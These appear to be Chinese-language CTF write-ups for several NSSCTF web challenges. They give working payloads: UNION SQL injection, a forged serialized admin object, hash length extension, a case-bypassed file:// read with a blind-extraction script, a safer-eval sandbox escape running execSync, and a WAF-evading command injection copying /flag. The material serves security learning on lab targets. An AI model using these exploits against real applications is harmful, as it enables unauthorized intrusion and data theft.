echo("<script>alert('Password Worng?')</script>");
}
}
else
{
echo("<script>alert('Username Worng?')</script>");
}
}

forget.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if(@$forget==1)
{

@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if (!empty($result))
{

if($result['salt'])
{
$check = base64_encode(md5($result['salt']));
$name = $result['name'];
header("Location:/web/repass.php?username=$name&check=$check&mibao=$mibao&pass=$pass");
}
else
{
echo("<script>alert('Get salt Worng?')</script>");
}
}
else
{
echo("<script>alert('Please check!!?')</script>");
}
}

首先来捋一下思路:riji.php中存在sql注入的点也就是id,但是id在之前被赋值了,有没有办法让他不进入if呢?

1
2
3
4
if($result['userid'])
{
$id = intval($result['userid']);
}

那就是result[‘userid’]结果为空的情况下。

先利用api.php的一个接口函数从数据库删除我现在登陆的用户,使select * from user where name=’$username’查询为空,因为我们一直登陆,所以session会在服务器端保持我们登陆的状态(也就是说服务器端的session不会注销),所以if($_SESSION[‘user’])在注销之前一直为真,所以当我们在数据库中删除我们登陆的用户之后,则使:$id = intval($result[‘userid’]); 这里$id成为一个未被初始化的变量,然后就可以被任意覆盖。在common.php中进行变量覆盖。

在api.php中,如果我们想要删除用户,是需要check===1的,里面存在一个考点:hash长度拓展攻击。

我们先获取一下userid,待会要删除的userid

image-20250104115507603

userid为2

然后去构造api的payload

1
2
3
if($result['role'] == 1){
return 1;
}

只有admin用户才能删除用户,那么我们构造如下payload:

1
2
3
4
5
6
7
8
9
10
11
<?php
class admin {
var $name="admin";
var $check="f94ecd6b9856b048313eeb7d0179cb32";
var $data="1";
var $method="del_user";
var $userid="2";
}

$a=new admin();
echo base64_encode(serialize($a));

这道题salt直接告诉我们了,我们就不需要hash长度拓展攻击了。。。

image-20250104115941234

1
Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiJmOTRlY2Q2Yjk4NTZiMDQ4MzEzZWViN2QwMTc5Y2IzMiI7czo0OiJkYXRhIjtzOjE6IjEiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiIyIjt9

然后去api.php删除用户。

但是我们发现

1
2
3
4
if (@$_SESSION['login'] === 1){
header('Location:/web/riji.php');
exit();
}

但是我们需要保持登陆状态,那么换个浏览器。。

image-20250104120856200

1
http://node4.anna.nssctf.cn:28105/api.php?api=Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiJmOTRlY2Q2Yjk4NTZiMDQ4MzEzZWViN2QwMTc5Y2IzMiI7czo0OiJkYXRhIjtzOjE6IjEiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiIyIjt9

user删除成功!

image-20250104120932581

1
http://node4.anna.nssctf.cn:28105/riji.php?id=-1%20union%20select%201,2,(select%20flag%20from%20flag)

image-20250104120944656

1
NSSCTF{bea1ea82-0c83-4722-8a89-a41b35a5c119}

[De1ctf 2019]SSRF Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

先理一下思路:最终的flag应该是在result.txt中的,那么就需要触发Task类的Exec方法,在/De1ta路由下可以实现,同时action、param、sign可控。Exec方法中有一个checksign方法,这其实就考察到hash长度拓展攻击了。getsign可以获取到一个已知的hash值。

我们访问/geneSign路由可以获取一个hash值,secert_key+scan的哈希值。

1
2
3
4
5
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
1
2
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

题目给了提示

1
flag is in ./flag.txt

那么我们接下来的思路是利用scan将flag.txt写入result.txt,同时会print flag.txt的内容,我们先构造这个。

首先访问/geneSign路由,获取secret_key+flag.txt+scan的hash值a95501825b9d23020a8f670b281649fa

然后在/De1ta路由下构造action为scan,param为flag.txt,sign为a95501825b9d23020a8f670b281649fa。

image-20250104221216421

只print了一个状态码。。。突然想起来要print resp.text才行。。那么就需要read了,但是我们能获取的hash值必定带有scan。这时我们突然注意到:

1
if "read" in self.action:

那么我们可以构造action为scanread

secret_key+flag.txt+scan的hash值是已知的。

在/De1ta路由下构造action为scanxxxxxxxread,param为flag.txt,进行哈希长度拓展攻击。

signature:a95501825b9d23020a8f670b281649fa

data:scan

key length:24

data to add:read

image-20250104223600499

2d970424e20612e377913e4a9ea324af

scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

在/De1ta路由下构造action为scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read

param为flag.txt,sign为2d970424e20612e377913e4a9ea324af

发现不行。。。

重新捋一下思路:

有read,有scan就可以

访问/geneSign路由,param为flag.txtread

那么获取secret_key+flag.txt+readscan的hash值523423f97fa7df58aec22413b39fd8f2

在/De1ta路由下构造action为readscan,param为flag.txt不就好了。。。

image-20250104224546154

直接出了

1
NSSCTF{2ef1cb7c-7d09-49ed-abe6-451e0b4bf48e}

接下来再回顾一下hash长度拓展攻击,还是得学。

image-20250104225223289

成功了,密钥24位,有点不是很清楚,

1
2
len(secert_key) = 16
16 + len('scan') + len('read') = 24 = Key Length

image-20250104225321393

prize_p4

这道题还是比较简单的,我卡在了一个点上

1
2
3
4
5
@app.route('/getkey', methods=["GET"]) 

def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY

这里可以用与GET相似的方法HEAD来绕过。

image-20250105082600584

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag

SECRET_KEY=str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))

#src in /app

@app.route('/')
@app.route('/index',methods=['GET'])
def index():
return render_template("index.html")

@app.route('/get_data', methods=["GET",'POST'])
def get_data():
data = request.form.get('data', '123')
if type(data) is str:
data=data.encode('utf8')
url = request.form.get('url', 'http://127.0.0.1:8888/')
if data and url:
session['data'] = data
session['url'] = url
session["admin"]=False
return redirect(url_for('home'))
return redirect(url_for('/'))

@app.route('/home', methods=["GET"])
def home():
if session.get("admin",False):
return render_template_string(open(__file__).read())
else:
return render_template("home.html",data=session.get('data','Not find data...'))

@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY''')

@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
if session['data'] and session['url']:
if 'file:' in session['url']:
return "no no no"
data=(session['data']).decode('utf8')
url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
if url_text in data or data in url_text:
return "you get it"
return "what ???"

@app.route('/getflag', methods=["GET"])
def get_flag():
res = flag.waf(request)
return res

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)

思路就是通过/get_hindd_result路由进行盲注。

因为直接getflag他没回显啊?!

file过滤可以大小写绕过

尝试一下File:///proc/1/environ NSSCTF发现可行

image-20250105083934681

接下来编写盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import string
import requests

payload_sum=string.ascii_lowercase+string.digits+'{}-'
print(payload_sum)
target='http://node4.anna.nssctf.cn:28374/'
payload_data="NSSCTF{"
payload_url="File:///proc/1/environ"
target_get_data=target+'get_data'
target_get_flag=target+'get_hindd_result'

for i in range(50):
for j in payload_sum:
temp=payload_data+j
#print(j)
session = requests.session()
session.post(target_get_data,data={'data':temp,'url':payload_url,'submit':'%E6%8F%90%E4%BA%A4'})
response=session.get(target_get_flag,cookies={'session':str(session.cookies.values())[2:-2]})

#print(str(session.cookies.values())[2:-2])
#print(response.text)

if 'you get it' in response.text:
payload_data+=j
print(payload_data)
break
else:
print('bad!')
break

脚本编写能力还是太差了,写了半天。。。

1
NSSCTF{710ce1eb-8431-41e6-83fa-3213a14db9fc}

[GKCTF 2020]ez三剑客-easynode

image-20250105160042913

发现一个safer-eval 1.3.6版本,存在沙箱逃逸的漏洞。

下面看看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

在/eval路由下存在safeeval的rce,但是if (req.path === ‘/eval’) {,此处存在大时间的延迟,然而他是考setTimeout来进行的,可以通过

大于2147483647的数来绕过。

image-20250105160338220

1
2
3
4
5
e=(function () {

const process = clearImmediate.constructor('return process;')();

return process.mainModule.require('child_process').execSync('ls /').toString()})()
1
NSSCTF{970473a7-7ad6-4826-9a42-492ec0dcf96a}

[NSSRound#V Team]PYRCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, request, make_response 
import uuid
import os
# flag in /flag
app = Flask(__name__)

def waf(rce):
black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
for black in black_list:
if black in rce:
return False
return True

@app.route('/', methods=['GET'])
def index():
if request.args.get("Ňśś"):
nss = request.args.get("Ňśś")
if waf(nss):
os.popen(nss)
else:
return "waf"
return "/source"

@app.route('/source', methods=['GET'])
def source():
src = open("app.py", 'rb').read()
return src

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8080)
1
?Ňśś=cp $(cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py
1
?Ňśś=cp%09%24%28cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26echo%09%24%28pwd%29flag%29%09app.py